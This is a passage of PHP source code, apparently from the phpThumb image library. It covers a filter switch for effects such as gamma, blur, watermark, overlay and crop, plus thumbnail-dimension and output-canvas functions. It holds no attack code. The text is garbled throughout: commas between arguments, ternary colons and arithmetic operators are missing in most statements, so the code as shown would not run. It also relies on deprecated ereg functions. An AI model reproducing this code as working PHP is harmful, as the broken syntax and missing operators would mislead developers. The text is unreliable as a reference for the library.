'gam'// Gamma correction
                        
$phpthumbFilters->Gamma($this->gdimg_output$parameter);
                        break;

                    case 
'neg'// Negative colors
                        
$phpthumbFilters->Negative($this->gdimg_output);
                        break;

                    case 
'th'// Threshold
                        
$phpthumbFilters->Threshold($this->gdimg_output$parameter);
                        break;

                    case 
'rcd'// ReduceColorDepth
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping ReduceColorDepth() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            break;
                        }
                        @list(
$colors$dither) = explode('|'$parameter);
                        
$colors = ($colors                ?  (int) $colors 256);
                        
$dither  = ((strlen($dither) > 0) ? (bool) $dither true);
                        
$phpthumbFilters->ReduceColorDepth($this->gdimg_output$colors$dither);
                        break;

                    case 
'flip'// Flip
                        
$phpthumbFilters->Flip($this->gdimg_output, (strpos(strtolower($parameter), 'x') !== false), (strpos(strtolower($parameter), 'y') !== false));
                        break;

                    case 
'edge'// EdgeDetect
                        
$phpthumbFilters->EdgeDetect($this->gdimg_output);
                        break;

                    case 
'emb'// Emboss
                        
$phpthumbFilters->Emboss($this->gdimg_output);
                        break;

                    case 
'bvl'// Bevel
                        
@list($width$color1$color2) = explode('|'$parameter);
                        
$phpthumbFilters->Bevel($this->gdimg_output$width$color1$color2);
                        break;

                    case 
'lvl'// autoLevels
                        
@list($band$method$threshold) = explode('|'$parameter);
                        
$band      = ($band ereg_replace('[^RGBA\\*]'''strtoupper($band)) : '*');
                        
$method    = ((strlen($method) > 0)    ? intval($method)                :   2);
                        
$threshold = ((strlen($threshold) > 0) ? floatval($threshold)           : 0.1);

                        
$phpthumbFilters->HistogramStretch($this->gdimg_output$band$method$threshold);
                        break;

                    case 
'wb'// WhiteBalance
                        
$phpthumbFilters->WhiteBalance($this->gdimg_output$parameter);
                        break;

                    case 
'hist'// Histogram overlay
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping HistogramOverlay() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            break;
                        }
                        @list(
$bands$colors$width$height$alignment$opacity$margin_x$margin_y) = explode('|'$parameter);
                        
$bands     = ($bands     $bands     :  '*');
                        
$colors    = ($colors    $colors    :   '');
                        
$width     = ($width     $width     0.25);
                        
$height    = ($height    $height    0.25);
                        
$alignment = ($alignment $alignment 'BR');
                        
$opacity   = ($opacity   $opacity   :   50);
                        
$margin_x  = ($margin_x  $margin_x  :    5);
                        
$margin_y  $margin_y// just to note it wasn't forgotten, but let the value always pass unchanged
                        
$phpthumbFilters->HistogramOverlay($this->gdimg_output$bands$colors$width$height$alignment$opacity$margin_x$margin_y);
                        break;

                    case 
'fram'// Frame
                        
@list($frame_width$edge_width$color_frame$color1$color2) = explode('|'$parameter);
                        
$phpthumbFilters->Frame($this->gdimg_output$frame_width$edge_width$color_frame$color1$color2);
                        break;

                    case 
'drop'// DropShadow
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping DropShadow() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            return 
false;
                        }
                        
$this->is_alpha true;
                        @list(
$distance$width$color$angle$fade) = explode('|'$parameter);
                        
$phpthumbFilters->DropShadow($this->gdimg_output$distance$width$color$angle$fade);
                        break;

                    case 
'mask'// Mask cropping
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping Mask() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            return 
false;
                        }
                        
$mask_filename $this->ResolveFilenameToAbsolute($parameter);
                        if (@
is_readable($mask_filename) && ($fp_mask = @fopen($mask_filename'rb'))) {
                            
$MaskImageData '';
                            do {
                                
$buffer fread($fp_mask8192);
                                
$MaskImageData .= $buffer;
                            } while (
strlen($buffer) > 0);
                            
fclose($fp_mask);
                            if (
$gdimg_mask $this->ImageCreateFromStringReplacement($MaskImageData)) {
                                
$this->is_alpha true;
                                
$phpthumbFilters->ApplyMask($gdimg_mask$this->gdimg_output);
                                
ImageDestroy($gdimg_mask);
                            } else {
                                
$this->DebugMessage('ImageCreateFromStringReplacement() failed for "'.$mask_filename.'"'__FILE____LINE__);
                            }
                        } else {
                            
$this->DebugMessage('Cannot open mask file "'.$mask_filename.'"'__FILE____LINE__);
                        }
                        break;

                    case 
'elip'// Elipse cropping
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping Elipse() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            return 
false;
                        }
                        
$this->is_alpha true;
                        
$phpthumbFilters->Elipse($this->gdimg_output);
                        break;

                    case 
'ric'// RoundedImageCorners
                        
if (phpthumb_functions::gd_version() < 2) {
                            
$this->DebugMessage('Skipping RoundedImageCorners() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            return 
false;
                        }
                        @list(
$radius_x$radius_y) = explode('|'$parameter);
                        if ((
$radius_x 1) || ($radius_y 1)) {
                            
$this->DebugMessage('Skipping RoundedImageCorners('.$radius_x.', '.$radius_y.') because x/y radius is less than 1'__FILE____LINE__);
                            break;
                        }
                        
$this->is_alpha true;
                        
$phpthumbFilters->RoundedImageCorners($this->gdimg_output$radius_x$radius_y);
                        break;

                    case 
'crop'// Crop
                        
@list($left$right$top$bottom) = explode('|'$parameter);
                        
$phpthumbFilters->Crop($this->gdimg_output$left$right$top$bottom);
                        break;

                    case 
'bord'// Border
                        
@list($border_width$radius_x$radius_y$hexcolor_border) = explode('|'$parameter);
                        
$this->is_alpha true;
                        
$phpthumbFilters->ImageBorder($this->gdimg_output$border_width$radius_x$radius_y$hexcolor_border);
                        break;

                    case 
'over'// Overlay
                        
@list($filename$underlay$margin$opacity) = explode('|'$parameter);
                        
$underlay = (bool) ($underlay              $underlay false);
                        
$margin   =        ((strlen($margin)  > 0) ? $margin   : ($underlay 0.1 0.0));
                        
$opacity  =        ((strlen($opacity) > 0) ? $opacity  100);
                        if ((
$margin 0) && ($margin 1)) {
                            
$margin min(0.499$margin);
                        } elseif ((
$margin > -1) && ($margin 0)) {
                            
$margin max(-0.499$margin);
                        }

                        
$filename $this->ResolveFilenameToAbsolute($filename);
                        if (@
is_readable($filename) && ($fp_watermark = @fopen($filename'rb'))) {
                            
$WatermarkImageData '';
                            do {
                                
$buffer fread($fp_watermark8192);
                                
$WatermarkImageData .= $buffer;
                            } while (
strlen($buffer) > 0);
                            
fclose($fp_watermark);
                            if (
$img_watermark $this->ImageCreateFromStringReplacement($WatermarkImageData)) {
                                if (
$margin 1) {
                                    
$resized_x max(1ImageSX($this->gdimg_output) - round(* (ImageSX($this->gdimg_output) * $margin)));
                                    
$resized_y max(1ImageSY($this->gdimg_output) - round(* (ImageSY($this->gdimg_output) * $margin)));
                                } else {
                                    
$resized_x max(1ImageSX($this->gdimg_output) - round($margin));
                                    
$resized_y max(1ImageSY($this->gdimg_output) - round($margin));
                                }

                                if (
$underlay) {

                                    if (
$img_watermark_resized phpthumb_functions::ImageCreateFunction(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {
                                        
ImageAlphaBlending($img_watermark_resizedfalse);
                                        
ImageSaveAlpha($img_watermark_resizedtrue);
                                        
$this->ImageResizeFunction($img_watermark_resized$img_watermark0000ImageSX($img_watermark_resized), ImageSY($img_watermark_resized), ImageSX($img_watermark), ImageSY($img_watermark));
                                        if (
$img_source_resized phpthumb_functions::ImageCreateFunction($resized_x$resized_y)) {
                                            
ImageAlphaBlending($img_source_resizedfalse);
                                            
ImageSaveAlpha($img_source_resizedtrue);
                                            
$this->ImageResizeFunction($img_source_resized$this->gdimg_output0000ImageSX($img_source_resized), ImageSY($img_source_resized), ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
                                            
$phpthumbFilters->WatermarkOverlay($img_watermark_resized$img_source_resized'C'$opacity$margin);
                                            
ImageCopy($this->gdimg_output$img_watermark_resized0000ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
                                        } else {
                                            
$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.$resized_x.', '.$resized_y.')'__FILE____LINE__);
                                        }
                                        
ImageDestroy($img_watermark_resized);
                                    } else {
                                        
$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).')'__FILE____LINE__);
                                    }

                                } else { 
// overlay

                                    
if ($img_watermark_resized phpthumb_functions::ImageCreateFunction($resized_x$resized_y)) {
                                        
ImageAlphaBlending($img_watermark_resizedfalse);
                                        
ImageSaveAlpha($img_watermark_resizedtrue);
                                        
$this->ImageResizeFunction($img_watermark_resized$img_watermark0000ImageSX($img_watermark_resized), ImageSY($img_watermark_resized), ImageSX($img_watermark), ImageSY($img_watermark));
                                        
$phpthumbFilters->WatermarkOverlay($this->gdimg_output$img_watermark_resized'C'$opacity$margin);
                                        
ImageDestroy($img_watermark_resized);
                                    } else {
                                        
$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.$resized_x.', '.$resized_y.')'__FILE____LINE__);
                                    }

                                }
                                
ImageDestroy($img_watermark);

                            } else {
                                
$this->DebugMessage('ImageCreateFromStringReplacement() failed for "'.$filename.'"'__FILE____LINE__);
                            }
                        } else {
                            
$this->DebugMessage('Cannot open overlay file "'.$filename.'"'__FILE____LINE__);
                        }
                        break;

                    case 
'wmi'// WaterMarkImage
                        
@list($filename$alignment$opacity$margin['x'], $margin['y'], $rotate_angle) = explode('|'$parameter);
                        
// $margin can be pixel margin or percent margin if $alignment is text, or max width/height if $alignment is position like "50x75"
                        
$alignment    = ($alignment            $alignment            'BR');
                        
$opacity      = (strlen($opacity)      ? intval($opacity)      : 50);
                        
$rotate_angle = (strlen($rotate_angle) ? intval($rotate_angle) : 0);
                        if (!
eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)$'$alignment$matches)) {
                            
$margins = array('x''y');
                            foreach (
$margins as $xy) {
                                
$margin[$xy] = (strlen($margin[$xy]) ? $margin[$xy] : 5);
                                if ((
$margin[$xy] > 0) && ($margin[$xy] < 1)) {
                                    
$margin[$xy] = min(0.499$margin[$xy]);
                                } elseif ((
$margin[$xy] > -1) && ($margin[$xy] < 0)) {
                                    
$margin[$xy] = max(-0.499$margin[$xy]);
                                }
                            }
                        }

                        
$filename $this->ResolveFilenameToAbsolute($filename);
                        if (@
is_readable($filename)) {
                            if (
$img_watermark $this->ImageCreateFromFilename($filename)) {
                                if (
$rotate_angle !== 0) {
                                    
$phpthumbFilters->ImprovedImageRotate($img_watermark$rotate_angle);
                                }
                                if (
eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)$'$alignment$matches)) {
                                    
$watermark_max_width  intval($margin['x'] ? $margin['x'] : ImageSX($img_watermark));
                                    
$watermark_max_height intval($margin['y'] ? $margin['y'] : ImageSY($img_watermark));
                                    
$scale phpthumb_functions::ScaleToFitInBox(ImageSX($img_watermark), ImageSY($img_watermark), $watermark_max_width$watermark_max_heighttruetrue);
                                    
$this->DebugMessage('Scaling watermark by a factor of '.number_format($scale4), __FILE____LINE__);
                                    if ((
$scale 1) || ($scale 1)) {
                                        if (
$img_watermark2 phpthumb_functions::ImageCreateFunction($scale ImageSX($img_watermark), $scale ImageSY($img_watermark))) {
                                            
ImageAlphaBlending($img_watermark2false);
                                            
ImageSaveAlpha($img_watermark2true);
                                            
$this->ImageResizeFunction($img_watermark2$img_watermark0000ImageSX($img_watermark2), ImageSY($img_watermark2), ImageSX($img_watermark), ImageSY($img_watermark));
                                            
$img_watermark $img_watermark2;
                                        } else {
                                            
$this->DebugMessage('ImageCreateFunction('.($scale ImageSX($img_watermark)).', '.($scale ImageSX($img_watermark)).') failed'__FILE____LINE__);
                                        }
                                    }
                                    
$watermark_dest_x round($matches[1] - (ImageSX($img_watermark) / 2));
                                    
$watermark_dest_y round($matches[2] - (ImageSY($img_watermark) / 2));
                                    
$alignment $watermark_dest_x.'x'.$watermark_dest_y;
                                }
                                
$phpthumbFilters->WatermarkOverlay($this->gdimg_output$img_watermark$alignment$opacity$margin['x'], $margin['y']);
                                
ImageDestroy($img_watermark);
                                if (isset(
$img_watermark2) && is_resource($img_watermark2)) {
                                    
ImageDestroy($img_watermark2);
                                }
                            } else {
                                
$this->DebugMessage('ImageCreateFromFilename() failed for "'.$filename.'"'__FILE____LINE__);
                            }
                        } else {
                            
$this->DebugMessage('!is_readable('.$filename.')'__FILE____LINE__);
                        }
                        break;

                    case 
'wmt'// WaterMarkText
                        
@list($text$size$alignment$hex_color$ttffont$opacity$margin$angle$bg_color$bg_opacity$fillextend) = explode('|'$parameter);
                        
$text       = ($text            $text       '');
                        
$size       = ($size            $size       3);
                        
$alignment  = ($alignment       $alignment  'BR');
                        
$hex_color  = ($hex_color       $hex_color  '000000');
                        
$ttffont    = ($ttffont         $ttffont    '');
                        
$opacity    = (strlen($opacity) ? $opacity    50);
                        
$margin     = (strlen($margin)  ? $margin     5);
                        
$angle      = (strlen($angle)   ? $angle      0);
                        
$bg_color   = ($bg_color        $bg_color   false);
                        
$bg_opacity = ($bg_opacity      $bg_opacity 0);
                        
$fillextend = ($fillextend      $fillextend '');

                        if (
basename($ttffont) == $ttffont) {
                            
$ttffont realpath($this->config_ttf_directory.DIRECTORY_SEPARATOR.$ttffont);
                        } else {
                            
$ttffont $this->ResolveFilenameToAbsolute($ttffont);
                        }
                        
$phpthumbFilters->WatermarkText($this->gdimg_output$text$size$alignment$hex_color$ttffont$opacity$margin$angle$bg_color$bg_opacity$fillextend);
                        break;

                    case 
'blur'// Blur
                        
@list($radius) = explode('|'$parameter);
                        
$radius = ($radius $radius 1);
                        if (
phpthumb_functions::gd_version() >= 2) {
                            
$phpthumbFilters->Blur($this->gdimg_output$radius);
                        } else {
                            
$this->DebugMessage('Skipping Blur() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            
//return false;
                        
}
                        break;

                    case 
'size'// Resize
                        
@list($newwidth$newheight$stretch) = explode('|'$parameter);
                        
$newwidth  = (!$newwidth  ImageSX($this->gdimg_output) : ((($newwidth  0) && ($newwidth  1)) ? round($newwidth  ImageSX($this->gdimg_output)) : round($newwidth)));
                        
$newheight = (!$newheight ImageSY($this->gdimg_output) : ((($newheight 0) && ($newheight 1)) ? round($newheight ImageSY($this->gdimg_output)) : round($newheight)));
                        
$stretch   = ($stretch true false);
                        if (
$stretch) {
                            
$scale_x phpthumb_functions::ScaleToFitInBox(ImageSX($this->gdimg_output), ImageSX($this->gdimg_output), $newwidth,  $newwidth,  truetrue);
                            
$scale_y phpthumb_functions::ScaleToFitInBox(ImageSY($this->gdimg_output), ImageSY($this->gdimg_output), $newheight$newheighttruetrue);
                        } else {
                            
$scale_x phpthumb_functions::ScaleToFitInBox(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output), $newwidth$newheighttruetrue);
                            
$scale_y $scale_x;
                        }
                        
$this->DebugMessage('Scaling watermark ('.($stretch 'with' 'without').' stretch) by a factor of "'.number_format($scale_x4).' x '.number_format($scale_y4).'"'__FILE____LINE__);
                        if ((
$scale_x 1) || ($scale_x 1) || ($scale_y 1) || ($scale_y 1)) {
                            if (
$img_temp phpthumb_functions::ImageCreateFunction(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {
                                
ImageCopy($img_temp$this->gdimg_output0000ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
                                
//ImageDestroy($this->gdimg_output);
                                
if ($this->gdimg_output phpthumb_functions::ImageCreateFunction($scale_x ImageSX($img_temp), $scale_y ImageSY($img_temp))) {
                                    
ImageAlphaBlending($this->gdimg_outputfalse);
                                    
ImageSaveAlpha($this->gdimg_outputtrue);
                                    
$this->ImageResizeFunction($this->gdimg_output$img_temp0000ImageSX($this->gdimg_output), ImageSY($this->gdimg_output), ImageSX($img_temp), ImageSY($img_temp));
                                } else {
                                    
$this->DebugMessage('ImageCreateFunction('.($scale_x ImageSX($img_temp)).', '.($scale_y ImageSY($img_temp)).') failed'__FILE____LINE__);
                                }
                                
ImageDestroy($img_temp);
                            } else {
                                
$this->DebugMessage('ImageCreateFunction('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).') failed'__FILE____LINE__);
                            }
                        }
                        break;

                    case 
'gblr'// Gaussian Blur
                        
$phpthumbFilters->BlurGaussian($this->gdimg_output);
                        break;

                    case 
'sblr'// Selective Blur
                        
$phpthumbFilters->BlurSelective($this->gdimg_output);
                        break;

                    case 
'mean'// MeanRemoval blur
                        
$phpthumbFilters->MeanRemoval($this->gdimg_output);
                        break;

                    case 
'smth'// Smooth blur
                        
$phpthumbFilters->Smooth($this->gdimg_output$parameter);
                        break;

                    case 
'usm'// UnSharpMask sharpening
                        
@list($amount$radius$threshold) = explode('|'$parameter);
                        
$amount    = ($amount            $amount    80);
                        
$radius    = ($radius            $radius    0.5);
                        
$threshold = (strlen($threshold) ? $threshold 3);
                        if (
phpthumb_functions::gd_version() >= 2.0) {
                            
ob_start();
                            if (!@include_once(
dirname(__FILE__).'/phpthumb.unsharp.php')) {
                                
$include_error ob_get_contents();
                                if (
$include_error) {
                                    
$this->DebugMessage('include_once("'.dirname(__FILE__).'/phpthumb.unsharp.php") generated message: "'.$include_error.'"'__FILE____LINE__);
                                }
                                
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.unsharp.php" which is required for unsharp masking'__FILE____LINE__);
                                
ob_end_clean();
                                return 
false;
                            }
                            
ob_end_clean();
                            
phpUnsharpMask::applyUnsharpMask($this->gdimg_output$amount$radius$threshold);
                        } else {
                            
$this->DebugMessage('Skipping unsharp mask because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                            return 
false;
                        }
                        break;

                    case 
'rot'// ROTate
                        
@list($angle$bgcolor) = explode('|'$parameter);
                        
$phpthumbFilters->ImprovedImageRotate($this->gdimg_output$angle$bgcolor);
                        break;

                    case 
'stc'// Source Transparent Color
                        
@list($hexcolor$min_limit$max_limit) = explode('|'$parameter);
                        if (!
phpthumb_functions::IsHexColor($hexcolor)) {
                            
$this->DebugMessage('Skipping SourceTransparentColor hex color is invalid ('.$hexcolor.')'__FILE____LINE__);
                            return 
false;
                        }
                        
$min_limit = (strlen($min_limit) ? $min_limit :  5);
                        
$max_limit = (strlen($max_limit) ? $max_limit 10);
                        if (
$gdimg_mask $phpthumbFilters->SourceTransparentColorMask($this->gdimg_output$hexcolor$min_limit$max_limit)) {
                            
$this->is_alpha true;
                            
$phpthumbFilters->ApplyMask($gdimg_mask$this->gdimg_output);
                            
ImageDestroy($gdimg_mask);
                        } else {
                            
$this->DebugMessage('SourceTransparentColorMask() failed for "'.$mask_filename.'"'__FILE____LINE__);
                        }
                        break;
                }
                
$this->DebugMessage('Finished processing filter command "'.$command.'('.$parameter.')"'__FILE____LINE__);
            }
        }
        return 
true;
    }


    function 
MaxFileSize() {
        if (
phpthumb_functions::gd_version() < 2) {
            
$this->DebugMessage('Skipping MaxFileSize() because gd_version is "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
            return 
false;
        }
        if (
$this->maxb 0) {
            switch (
$this->thumbnailFormat) {
                case 
'png':
                case 
'gif':
                    
$imgRenderFunction 'image'.$this->thumbnailFormat;

                    
ob_start();
                    
$imgRenderFunction($this->gdimg_output);
                    
$imgdata ob_get_contents();
                    
ob_end_clean();

                    if (
strlen($imgdata) > $this->maxb) {
                        for (
$i 8$i >= 1$i--) {
                            
$tempIMG ImageCreateTrueColor(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
                            
ImageCopy($tempIMG$this->gdimg_output0000ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
                            
ImageTrueColorToPalette($tempIMGtruepow(2$i));
                            
ob_start();
                            
$imgRenderFunction($tempIMG);
                            
$imgdata ob_get_contents();
                            
ob_end_clean();

                            if (
strlen($imgdata) <= $this->maxb) {
                                
ImageTrueColorToPalette($this->gdimg_outputtruepow(2$i));
                                break;
                            }
                        }
                    }
                    if (
strlen($imgdata) > $this->maxb) {
                        
ImageTrueColorToPalette($this->gdimg_outputtruepow(2$i));
                        return 
false;
                    }
                    break;

                case 
'jpeg':
                    
ob_start();
                    
ImageJPEG($this->gdimg_output);
                    
$imgdata ob_get_contents();
                    
ob_end_clean();

                    
$OriginalJPEGquality $this->thumbnailQuality;
                    if (
strlen($imgdata) > $this->maxb) {
                        for (
$i 3$i 20$i++) {
                            
$q round(100 * (log10($i 2)));
                            
ob_start();
                            
ImageJPEG($this->gdimg_output''$q);
                            
$imgdata ob_get_contents();
                            
ob_end_clean();

                            
$this->thumbnailQuality $q;
                            if (
strlen($imgdata) <= $this->maxb) {
                                break;
                            }
                        }
                    }
                    if (
strlen($imgdata) > $this->maxb) {
                        return 
false;
                    }
                    break;

                default:
                    return 
false;
                    break;
            }
        }
        return 
true;
    }


    function 
CalculateThumbnailDimensions() {
//echo $this->source_width.'x'.$this->source_height.'<hr>';
        
$this->thumbnailCropX = ($this->sx ? (($this->sx >= 1) ? $this->sx round($this->sx $this->source_width))  : 0);
//echo $this->thumbnailCropX.'<br>';
        
$this->thumbnailCropY = ($this->sy ? (($this->sy >= 1) ? $this->sy round($this->sy $this->source_height)) : 0);
//echo $this->thumbnailCropY.'<br>';
        
$this->thumbnailCropW = ($this->sw ? (($this->sw >= 1) ? $this->sw round($this->sw $this->source_width))  : $this->source_width);
//echo $this->thumbnailCropW.'<br>';
        
$this->thumbnailCropH = ($this->sh ? (($this->sh >= 1) ? $this->sh round($this->sh $this->source_height)) : $this->source_height);
//echo $this->thumbnailCropH.'<hr>';

        // limit source area to original image area
        
$this->thumbnailCropW max(1min($this->thumbnailCropW$this->source_width  $this->thumbnailCropX));
        
$this->thumbnailCropH max(1min($this->thumbnailCropH$this->source_height $this->thumbnailCropY));

        
$this->DebugMessage('CalculateThumbnailDimensions() [x,y,w,h] initially set to ['.$this->thumbnailCropX.','.$this->thumbnailCropY.','.$this->thumbnailCropW.','.$this->thumbnailCropH.']'__FILE____LINE__);


        if (
$this->zc && $this->&& $this->h) {
            
// Zoom Crop
            // retain proportional resizing we did above, but crop off larger dimension so smaller
            // dimension fully fits available space

            
$scaling_X $this->source_width  $this->w;
            
$scaling_Y $this->source_height $this->h;
            if (
$scaling_X $scaling_Y) {
                
// some of the width will need to be cropped
                
$allowable_width $this->source_width $scaling_X $scaling_Y;
                
$this->thumbnailCropW round($allowable_width);
                
$this->thumbnailCropX round(($this->source_width $allowable_width) / 2);

            } elseif (
$scaling_Y $scaling_X) {
                
// some of the height will need to be cropped
                
$allowable_height $this->source_height $scaling_Y $scaling_X;
                
$this->thumbnailCropH round($allowable_height);
                
$this->thumbnailCropY round(($this->source_height $allowable_height) / 2);

            } else {
                
// image fits perfectly, no cropping needed
            
}
            
$this->thumbnail_width  $this->w;
            
$this->thumbnail_height $this->h;
            
$this->thumbnail_image_width  $this->thumbnail_width;
            
$this->thumbnail_image_height $this->thumbnail_height;

        } elseif (
$this->iar && $this->&& $this->h) {

            
// Ignore Aspect Ratio
            // stretch image to fit exactly 'w' x 'h'
            
$this->thumbnail_width  $this->w;
            
$this->thumbnail_height $this->h;
            
$this->thumbnail_image_width  $this->thumbnail_width;
            
$this->thumbnail_image_height $this->thumbnail_height;

        } else {

            
$original_aspect_ratio $this->thumbnailCropW $this->thumbnailCropH;
            if (
$this->aoe) {
                if (
$this->&& $this->h) {
                    
$maxwidth  min($this->w$this->$original_aspect_ratio);
                    
$maxheight min($this->h$this->$original_aspect_ratio);
                } elseif (
$this->w) {
                    
$maxwidth  $this->w;
                    
$maxheight $this->$original_aspect_ratio;
                } elseif (
$this->h) {
                    
$maxwidth  $this->$original_aspect_ratio;
                    
$maxheight $this->h;
                } else {
                    
$maxwidth  $this->thumbnailCropW;
                    
$maxheight $this->thumbnailCropH;
                }
            } else {
                
$maxwidth  phpthumb_functions::nonempty_min($this->w$this->thumbnailCropW$this->config_output_maxwidth);
                
$maxheight phpthumb_functions::nonempty_min($this->h$this->thumbnailCropH$this->config_output_maxheight);
//echo $maxwidth.'x'.$maxheight.'<br>';
                
$maxwidth  min($maxwidth$maxheight $original_aspect_ratio);
                
$maxheight min($maxheight$maxwidth $original_aspect_ratio);
//echo $maxwidth.'x'.$maxheight.'<hr>';
            
}

            
$this->thumbnail_image_width  $maxwidth;
            
$this->thumbnail_image_height $maxheight;
            
$this->thumbnail_width  $maxwidth;
            
$this->thumbnail_height $maxheight;

            
$this->FixedAspectRatio();
        }

        
$this->thumbnail_width  max(1floor($this->thumbnail_width));
        
$this->thumbnail_height max(1floor($this->thumbnail_height));
        return 
true;
    }


    function 
CreateGDoutput() {
        
$this->CalculateThumbnailDimensions();

        
// Create the GD image (either true-color or 256-color, depending on GD version)
        
$this->gdimg_output phpthumb_functions::ImageCreateFunction($this->thumbnail_width$this->thumbnail_height);

        
// Images that have transparency must have the background filled with the configured 'bg' color
        // otherwise the transparent color will appear as black
        
ImageSaveAlpha($this->gdimg_outputtrue);
        if (
$this->is_alpha && phpthumb_functions::gd_version() >= 2) {

            
ImageAlphaBlending($this->gdimg_outputfalse);
            
$output_full_alpha phpthumb_functions::ImageColorAllocateAlphaSafe($this->gdimg_output255255255127);
            
ImageFilledRectangle($this->gdimg_output00$this->thumbnail_width$this->thumbnail_height$output_full_alpha);

        } else {

            
$current_transparent_color ImageColorTransparent($this->gdimg_source);
            if (
$this->bg || (@$current_transparent_color >= 0)) {

                
$this->config_background_hexcolor = ($this->bg $this->bg $this->config_background_hexcolor);
                if (!
phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
                    return 
$this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
                }
                
$background_color phpthumb_functions::ImageHexColorAllocate($this->gdimg_output$this->config_background_hexcolor);
                
ImageFilledRectangle($this->gdimg_output00$this->thumbnail_width$this->thumbnail_height$background_color);

            }

        }
        
$this->DebugMessage('CreateGDoutput() returning canvas "'.$this->thumbnail_width.'x'.$this->thumbnail_height.'"'__FILE____LINE__);
        return 
true;
    }

    function 
SetOrientationDependantWidthHeight() {
        
$this->DebugMessage('SetOrientationDependantWidthHeight() starting with "'.$this->source_width.'"x"'.$this->source_height.'"'__FILE____LINE__);
        if (
$this->source_height $this->source_width) {
            
// portrait
            
$this->phpthumb_functions::OneOfThese($this->wp$this->w$this->ws$this->wl);
            
$this->phpthumb_functions::OneOfThese($this->hp$this->h$this->hs$this->hl);
        } elseif (
$this->source_height $this->source_width) {
            
// landscape
            
$this->phpthumb_functions::OneOfThese($this->wl$this->w$this->ws$this->wp);
            
$this->phpthumb_functions::OneOfThese($this->hl$this->h$this->hs$this->hp);
        } else {
            
// square
            
$this->phpthumb_functions::OneOfThese($this->ws$this->w$this->wl$this->wp);
            
$this->phpthumb_functions::OneOfThese($this->hs$this->h$this->hl$this->hp);
        }
        
//$this->w = round($this->w ? $this->w : (($this->h && $this->source_height) ? $this->h * $this->source_width  / $this->source_height : $this->w));
        //$this->h = round($this->h ? $this->h : (($this->w && $this->source_width)  ? $this->w * $this->source_height / $this->source_width  : $this->h));
        
$this->DebugMessage('SetOrientationDependantWidthHeight() setting w="'.intval($this->w).'", h="'.intval($this->h).'"'__FILE____LINE__);
        return 
true;
    }

    function 
ExtractEXIFgetImageSize() {
        
$this->DebugMessage('starting ExtractEXIFgetImageSize()'__FILE____LINE__);

        if (
eregi('^http:'$this->src) && !$this->sourceFilename && $this->rawImageData) {
            !
$this->SourceDataToTempFile();
        }
        if (
is_null($this->getimagesizeinfo)) {
            if (
$this->sourceFilename) {
                
$this->getimagesizeinfo = @GetImageSize($this->sourceFilename);
                
$this->source_width  $this->getimagesizeinfo[0];
                
$this->source_height $this->getimagesizeinfo[1];
                
$this->DebugMessage('GetImageSize('.$this->sourceFilename.') says image is '.$this->source_width.'x'.$this->source_height__FILE____LINE__);
            } else {
                
$this->DebugMessage('skipping GetImageSize() because $this->sourceFilename is empty'__FILE____LINE__);
            }
        } else {
            
$this->DebugMessage('skipping GetImageSize() because !is_null($this->getimagesizeinfo)'__FILE____LINE__);
        }

        if (
is_resource($this->gdimg_source)) {

            
$this->source_width  ImageSX($this->gdimg_source);
            
$this->source_height ImageSY($this->gdimg_source);

            
$this->SetOrientationDependantWidthHeight();

        } elseif (
$this->rawImageData && !$this->sourceFilename) {

            if (
$this->SourceImageIsTooLarge($this->source_width$this->source_height)) {
                
$this->DebugMessage('NOT bypassing EXIF and GetImageSize sections because source image is too large for GD ('.$this->source_width.'x'.$this->source_width.'='.($this->source_width $this->source_height 5).'MB)'__FILE____LINE__);
            } else {
                
$this->DebugMessage('bypassing EXIF and GetImageSize sections because $this->rawImageData is set, and $this->sourceFilename is not set, and source image is not too large for GD ('.$this->source_width.'x'.$this->source_width.'='.($this->source_width $this->source_height 5).'MB)'__FILE____LINE__);
            }

        }

        if (!empty(
$this->getimagesizeinfo)) {
            
// great
            
$this->getimagesizeinfo['filesize'] = @filesize($this->sourceFilename);
        } elseif (!
$this->rawImageData) {
            
$this->DebugMessage('GetImageSize("'.$this->sourceFilename.'") failed'__FILE____LINE__);
        }

        if (
$this->config_prefer_imagemagick) {
            if (
$this->ImageMagickThumbnailToGD()) {
                return 
true;
            }
            
$this->DebugMessage('ImageMagickThumbnailToGD() failed'__FILE____LINE__);
        }

        
$this->SetOrientationDependantWidthHeight();

        if (
phpthumb_functions::version_compare_replacement(phpversion(), '4.2.0''>=') && function_exists('exif_read_data')) {
            
$this->exif_raw_data = @exif_read_data($this->sourceFilename0true);
        }
        if (
function_exists('exif_thumbnail') && ($this->getimagesizeinfo[2] == 2)) {
            
// Extract EXIF info from JPEGs

            
$this->exif_thumbnail_width  '';
            
$this->exif_thumbnail_height '';
            
